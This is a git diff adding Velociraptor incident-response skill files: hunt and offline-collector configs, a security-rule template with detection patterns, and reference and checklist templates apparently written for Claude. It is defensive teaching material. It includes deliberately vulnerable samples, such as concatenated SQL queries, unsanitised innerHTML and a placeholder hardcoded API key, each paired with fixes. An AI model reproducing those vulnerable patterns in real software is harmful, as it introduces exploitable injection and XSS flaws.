+ include_all_results: true + +# Documentation +metadata: + created_by: "analyst@company.com" + created_date: "2024-01-15" + last_modified: "2024-01-15" + version: "1.0" + + # Compliance and audit trail + approval: + requested_by: "IR Team Lead" + approved_by: "CISO" + approval_date: "2024-01-14" + ticket_reference: "INC-12345" + + # MITRE ATT&CK mapping + mitre_attack: + tactics: + - "TA0002: Execution" + - "TA0005: Defense Evasion" + techniques: + - "T1059.001: PowerShell" + - "T1027: Obfuscated Files or Information" + +# Sample VQL for hunt creation via command line +sample_commands: | + # Create hunt from artifact + velociraptor --config server.config.yaml query " + SELECT hunt_id FROM hunt( + artifact='Windows.Detection.SuspiciousProcess', + description='Hunt for suspicious process execution', + include_labels=['Production-Servers'], + cpu_limit=50, + timeout=3600 + ) + " + + # Monitor hunt progress + velociraptor --config server.config.yaml query " + SELECT hunt_id, state, total_clients_scheduled, + total_clients_with_results, total_clients_with_errors + FROM hunt_status() + WHERE hunt_id = 'H.1234567890' + " + + # Export hunt results + velociraptor --config server.config.yaml query " + SELECT * FROM hunt_results(hunt_id='H.1234567890') + " --format json > hunt_results.json diff --git a/skills/incident-response/ir-velociraptor/assets/offline-collector-config.yaml b/skills/incident-response/ir-velociraptor/assets/offline-collector-config.yaml new file mode 100644 index 0000000..ba1b45c --- /dev/null +++ b/skills/incident-response/ir-velociraptor/assets/offline-collector-config.yaml @@ -0,0 +1,270 @@ +# Velociraptor Offline Collector Configuration +# Configuration for creating standalone collectors that don't require server connection + +# Collector metadata +collector_info: + name: "IR-Collector-Incident-Response" + version: "1.0" + description: | + Offline collector for incident response evidence gathering. + Collects key artifacts without requiring Velociraptor server. + + created_by: "IR Team" + created_date: "2024-01-15" + incident_reference: "INC-12345" + +# Target platform +# Options: windows, linux, macos, all +target_platform: windows + +# Artifacts to collect +artifacts: + # System Information + - name: Generic.Client.Info + description: "Basic system information" + + # Process Information + - name: Windows.System.Pslist + description: "Running processes" + parameters: + CalculateHashes: "Y" + + # Network Connections + - name: Windows.Network.NetstatEnriched + description: "Network connections with process context" + + # Persistence Mechanisms + - name: Windows.Persistence.PermanentRuns + description: "Registry Run keys and startup locations" + + - name: Windows.System.TaskScheduler + description: "Scheduled tasks" + + - name: Windows.System.Services + description: "Windows services" + + # Event Logs + - name: Windows.EventLogs.EvtxHunter + description: "Security-relevant event logs" + parameters: + EvtxGlob: "C:/Windows/System32/winevt/Logs/{Security,System,Application}.evtx" + # Filter for last 7 days + DateAfter: "{{subtract (now) (duration \"168h\")}}" + + # File System Timeline + - name: Windows.Forensics.Timeline + description: "Filesystem timeline" + parameters: + # Limit to key directories + PathGlob: | + C:/Users/*/AppData/** + C:/Windows/Temp/** + C:/ProgramData/** + DateAfter: "{{subtract (now) (duration \"168h\")}}" + + # Prefetch Analysis + - name: Windows.Forensics.Prefetch + description: "Program execution artifacts" + + # USB Device History + - name: Windows.Forensics.USBDevices + description: "USB device connection history" + + # Browser History (if needed) + # - name: Windows.Browsers.Chrome + # description: "Chrome browser history" + + # Registry Forensics + # - name: Windows.Registry.RecentDocs + # description: "Recently accessed files from registry" + +# Collection Configuration +collection_config: + # Output options + output: + # Compression format: zip, tar + format: zip + + # Output filename template + filename_template: "collection-{{.Hostname}}-{{.Now.Unix}}.zip" + + # Encryption (optional) + # encryption: + # enabled: true + # public_key_file: "collector-public.pem" + + # Output location + output_directory: "." + + # Resource limits + resource_limits: + # Maximum CPU usage (percentage) + cpu_limit: 70 + + # Maximum memory usage (MB) + max_memory: 2048 + + # I/O operations per second limit + ops_per_second: 500 + + # Maximum collection time (seconds) + max_execution_time: 3600 + + # Maximum output size (bytes, 0 = unlimited) + max_output_size: 10737418240 # 10GB + + # Progress reporting + progress: + # Show progress bar + show_progress: true + + # Log file location + log_file: "collector.log" + + # Log level: DEBUG, INFO, WARN, ERROR + log_level: INFO + + # Artifact execution options + execution: + # Run artifacts in parallel (faster but more resource intensive) + parallel: false + + # Number of concurrent artifacts (if parallel enabled) + max_parallel: 3 + + # Continue on artifact errors + continue_on_error: true + + # Timeout per artifact (seconds) + artifact_timeout: 600 + +# Pre-collection Checks +pre_collection: + # Verify requirements before starting + checks: + # Minimum free disk space (bytes) + min_disk_space: 5368709120 # 5GB + + # Check for admin/root privileges + require_admin: true + + # Verify OS compatibility + verify_os: true + + # Warnings (not blocking) + warnings: + # Warn if antivirus is active + warn_av_active: true + + # Warn if disk space is limited + warn_disk_space_threshold: 10737418240 # 10GB + +# Post-collection Actions +post_collection: + # Automatic uploads (if network available) + # uploads: + # - type: smb + # path: "\\\\evidence-server\\ir-collections\\" + # credentials_file: "smb-creds.json" + # + # - type: s3 + # bucket: "ir-evidence-bucket" + # region: "us-east-1" + # credentials_file: "aws-creds.json" + + # Hash the output file + generate_hash: true + hash_algorithms: + - sha256 + - md5 + + # Generate collection report + generate_report: true + report_format: html + + # Cleanup options + cleanup: + # Delete temp files after collection + delete_temp_files: true + + # Secure delete collector binary after execution (optional) + # secure_delete_collector: false + +# Deployment Options +deployment: + # Create executable for easy deployment + executable: + # Embed configuration in binary + embed_config: true + + # Self-extracting executable + self_extracting: true + + # Icon file (optional) + # icon_file: "collector-icon.ico" + + # Code signing (optional) + # signing: + # certificate_file: "code-signing-cert.pfx" + # password_file: "cert-password.txt" + + # Packaging + package: + # Include README with instructions + include_readme: true + + # Include hash verification file + include_hashes: true + + # Include deployment script + # include_deployment_script: true + +# Usage Instructions (embedded in collector) +usage_instructions: | + VELOCIRAPTOR OFFLINE COLLECTOR + + This collector gathers forensic artifacts for incident response. + No network connection or Velociraptor server required. + + REQUIREMENTS: + - Administrator/root privileges + - Minimum 5GB free disk space + - Windows 7/Server 2008 R2 or later + + USAGE: + collector.exe [OPTIONS] + + OPTIONS: + --output DIR Output directory (default: current directory) + --verbose Enable verbose logging + --help Show this help message + + EXAMPLE: + # Run with default settings + collector.exe + + # Specify output directory + collector.exe --output C:\\Evidence\\ + + OUTPUT: + Collection results saved to: collection-[hostname]-[timestamp].zip + + IMPORTANT: + - Preserve chain of custody + - Document collection time and collector version + - Securely transfer collection to analysis system + - Do not run on production systems without approval + + For support: ir-team@company.com + +# Sample command to create collector from this config +sample_command: | + velociraptor --config server.config.yaml artifacts collect \ + Windows.System.Pslist \ + Windows.Network.NetstatEnriched \ + Windows.Persistence.PermanentRuns \ + Windows.EventLogs.EvtxHunter \ + Windows.Forensics.Timeline \ + --output collector.zip \ + --cpu_limit 70 \ + --progress diff --git a/skills/incident-response/ir-velociraptor/assets/rule-template.yaml b/skills/incident-response/ir-velociraptor/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/incident-response/ir-velociraptor/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/incident-response/ir-velociraptor/references/EXAMPLE.md b/skills/incident-response/ir-velociraptor/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/incident-response/ir-velociraptor/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/incident-response/ir-velociraptor/references/WORKFLOW_CHECKLIST.md b/skills/incident-response/ir-velociraptor/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/incident-response/ir-velociraptor/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If 